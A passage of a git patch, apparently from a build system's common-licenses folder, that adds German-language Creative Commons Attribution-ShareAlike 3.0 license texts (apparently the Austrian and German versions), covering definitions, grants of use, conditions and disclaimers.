+ e. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ f. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und eine Erteilung, Übertragung oder Einräumung von Nutzungsbewilligungen bzw Nutzungsrechten an Dritte erlaubt.
+
+ g. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine eigentümliche geistige Schöpfung jeglicher Art oder ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff „Schutzgegenstand“ im Sinne dieser Lizenz.
+
+ h. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährte Nutzungsbewilligung trotz eines vorherigen Verstoßes auszuüben.
+
+ i. Unter "Öffentlich Wiedergeben" im Sinne dieser Lizenz sind Wahrnehmbarmachungen des Schutzgegenstandes in unkörperlicher Form zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung oder zeit- und ortsunabhängiger Zurverfügungstellung erfolgen, unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ j. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, gleichviel in welchem Verfahren, auf welchem Träger, in welcher Menge und ob vorübergehend oder dauerhaft, Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch das erstmalige Festhalten des Schutzgegenstandes oder dessen Wahrnehmbarmachung auf Mitteln der wiederholbaren Wiedergabe sowie das Herstellen von Vervielfältigungsstücken dieser Festhaltung, sowie die Speicherung einer geschützten Darbietung oder eines Bild- und/oder Schallträgers in digitaler Form oder auf einem anderen elektronischen Medium.
+
+ k. "Mit Creative Commons kompatible Lizenz" bezeichnet eine Lizenz, die unter https://creativecommons.org/compatiblelicenses aufgelistet ist und die durch Creative Commons als grundsätzlich zur vorliegenden Lizenz äquivalent akzeptiert wurde, da zumindest folgende Voraussetzungen erfüllt sind:
+
+ Diese mit Creative Commons kompatible Lizenz
+
+ i. enthält Bestimmungen, welche die gleichen Ziele verfolgen, die gleiche Bedeutung haben und die gleichen Wirkungen erzeugen wie die Lizenzelemente der vorliegenden Lizenz; und
+
+ ii. erlaubt ausdrücklich das Lizenzieren von ihr unterstellten Abwandlungen unter vorliegender Lizenz, unter einer anderen rechtsordnungsspezifisch angepassten Creative-Commons-Lizenz mit denselben Lizenzelementen wie vorliegende Lizenz aufweist oder unter der entsprechenden Creative-Commons-Unported-Lizenz.
+
+2. Beschränkungen der Verwertungsrechte
+
+Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die sich aus den Beschränkungen der Verwertungsrechte, anderen Beschränkungen der Ausschließlichkeitsrechte des Rechtsinhabers oder anderen entsprechenden Rechtsnormen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Lizenzierung
+
+Unter den Bedingungen dieser Lizenz erteilt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - die vergütungsfreie, räumlich und zeitlich (für die Dauer des Urheberrechts oder verwandten Schutzrechts am Schutzgegenstand) unbeschränkte Nutzungsbewilligung, den Schutzgegenstand in der folgenden Art und Weise zu nutzen:
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Den Schutzgegenstand zu bearbeiten, einschließlich Übersetzungen unter Nutzung jedweder Medien anzufertigen, sofern deutlich erkennbar gemacht wird, dass es sich um eine Bearbeitung handelt;
+
+ c. Den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich wiederzugeben und zu verbreiten; und
+
+ d. Bearbeitungen des Schutzgegenstandes zu veröffentlichen, öffentlich wiederzugeben und zu verbreiten.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechenden Vergütungsansprüche für jede Ausübung eines Rechts aus dieser Lizenz durch Sie geltend zu machen.
+
+ ii. Vergütung bei Zwangslizenzen: Soweit Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Geltendmachung der Vergütungsansprüche durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
+Die vorgenannte Nutzungsbewilligung wird für alle bekannten sowie alle noch nicht bekannten Nutzungsarten eingeräumt. Sie beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich vom Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf die Geltendmachung sämtlicher daraus resultierender Rechte.
+
+4. Bedingungen
+
+Die Erteilung der Nutzungsbewilligung gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich wiedergeben. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich wiedergeben, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich wiedergeben, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dasselbe gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie - soweit dies praktikabel ist - auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.c) aufgezählten Hinweise entfernen. Wenn Sie eine Bearbeitung vornehmen, müssen Sie – soweit dies praktikabel ist – auf die Mitteilung eines Lizenzgebers hin von der Bearbeitung die in Abschnitt 4.c) aufgezählten Hinweise entfernen.
+
+ b. Sie dürfen eine Bearbeitung ausschließlich unter den Bedingungen
+
+ i. dieser Lizenz,
+
+ ii. einer späteren Version dieser Lizenz mit denselben Lizenzelementen,
+
+ iii. einer rechtsordnungsspezifischen Creative-Commons-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts (z.B. Namensnennung - Weitergabe unter gleichen Bedingungen 3.0 US),
+
+ iv. der Creative-Commons-Unported-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts, oder
+
+ v. einer mit Creative Commons kompatiblen Lizenz
+
+ verbreiten oder öffentlich wiedergeben.
+
+ Falls Sie die Bearbeitung gemäß Abschnitt b)(v) unter einer mit Creative Commons kompatiblen Lizenz lizenzieren, müssen Sie deren Lizenzbestimmungen Folge leisten.
+
+ Falls Sie die Bearbeitung unter einer der unter b)(i)-(iv) genannten Lizenzen ("Verwendbare Lizenzen") lizenzieren, müssen Sie deren Lizenzbestimmungen sowie folgenden Bestimmungen Folge leisten: Sie müssen stets eine Kopie der verwendbaren Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen, wenn Sie die Bearbeitung verbreiten oder öffentlich wiedergeben. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen der verwendbaren Lizenz oder die durch sie gewährten Rechte beschränken. Bei jeder Bearbeitung, die Sie verbreiten oder öffentlich wiedergeben, müssen Sie alle Hinweise auf die verwendbare Lizenz und den Haftungsausschluss unverändert lassen. Wenn Sie die Bearbeitung verbreiten oder öffentlich wiedergeben, dürfen Sie (in Bezug auf die Bearbeitung) keine technischen Maßnahmen ergreifen, die den Nutzer der Bearbeitung in der Ausübung der ihm durch die verwendbare Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.b) gilt auch für den Fall, dass die Bearbeitung einen Bestandteil eines Sammelwerkes bildet; dies bedeutet jedoch nicht, dass das Sammelwerk insgesamt der verwendbaren Lizenz unterstellt werden muss.
+
+ c. Die Verbreitung und die öffentliche Wiedergabe des Schutzgegenstandes oder auf ihm aufbauender Inhalte oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Urheberschaft oder die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie selbst – soweit bekannt – Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers, und/oder falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) („Zuschreibungsempfänger“), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Bearbeitung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Bearbeitung handelt.
+
+ Die nach diesem Abschnitt 4.c) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Bearbeitung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung aller Beitragenden dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Urhebers, des Lizenzgebers und/oder des Zuschreibungsempfängers weder implizit noch explizit irgendeine Verbindung mit dem oder eine Unterstützung oder Billigung durch den Lizenzgeber oder den Zuschreibungsempfänger andeuten oder erklären.
+
+ d. Die oben unter 4.a) bis c) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ e. (Urheber)Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE ERTEILUNG DER NUTZUNGSBEWILLIGUNG UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN.
+
+6. Haftungsbeschränkung
+
+ÜBER DIE IN ZIFFER 5 GENANNTE GEWÄHRLEISTUNG HINAUS HAFTET DER LIZENZGEBER IHNEN GEGENÜBER FÜR SCHÄDEN JEGLICHER ART NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG FÜR FOLGE- ODER ANDERE SCHÄDEN, AUCH WENN ER ÜBER DIE MÖGLICHKEIT IHRES EINTRITTS UNTERRICHTET WURDE.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie erteilte Nutzungsbewilligung erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Bearbeitungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke sowie entsprechende Vervielfältigungsstücke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich wiedergeben, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Bearbeitung des Schutzgegenstandes verbreiten oder öffentlich wiedergeben, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß 8.a) und b) angebotenen Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Republik Österreich Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-SA-3.0-DE b/meta/files/common-licenses/CC-BY-SA-3.0-DE
new file mode 100644
index 0000000000..7ea586af4b
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-SA-3.0-DE
@@ -0,0 +1,136 @@
+Creative Commons Namensnennung - Weitergabe unter gleichen Bedingungen 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Abwandlungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Unter "Lizenzelementen" werden im Sinne dieser Lizenz die folgenden übergeordneten Lizenzcharakteristika verstanden, die vom Lizenzgeber ausgewählt wurden und in der Bezeichnung der Lizenz zum Ausdruck kommen: "Namensnennung", "Weitergabe unter gleichen Bedingungen".
+
+ e. Der "*Lizenzgeber*" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ f. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ g. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ h. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ i. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ j. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+ k. "Mit Creative Commons kompatible Lizenz" bezeichnet eine Lizenz, die unter https://creativecommons.org/compatiblelicenses aufgelistet ist und die durch Creative Commons als grundsätzlich zur vorliegenden Lizenz äquivalent akzeptiert wurde, da zumindest folgende Voraussetzungen erfüllt sind:
+
+ Diese mit Creative Commons kompatible Lizenz
+
+ i. enthält Bestimmungen, welche die gleichen Ziele verfolgen, die gleiche Bedeutung haben und die gleichen Wirkungen erzeugen wie die Lizenzelemente der vorliegenden Lizenz; und
+
+ ii. erlaubt ausdrücklich das Lizenzieren von ihr unterstellten Abwandlungen unter vorliegender Lizenz, unter einer anderen rechtsordnungsspezifisch angepassten Creative-Commons-Lizenz mit denselben Lizenzelementen, wie sie die vorliegende Lizenz aufweist, oder unter der entsprechenden Creative-Commons-Unported-Lizenz.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Abwandlungen des Schutzgegenstandes anzufertigen, einschließlich Übersetzungen unter Nutzung jedweder Medien, sofern deutlich erkennbar gemacht wird, dass es sich um Abwandlungen handelt;
+
+ c. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten;
+
+ d. Abwandlungen des Schutzgegenstandes zu veröffentlichen, öffentlich zu zeigen und zu verbreiten.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
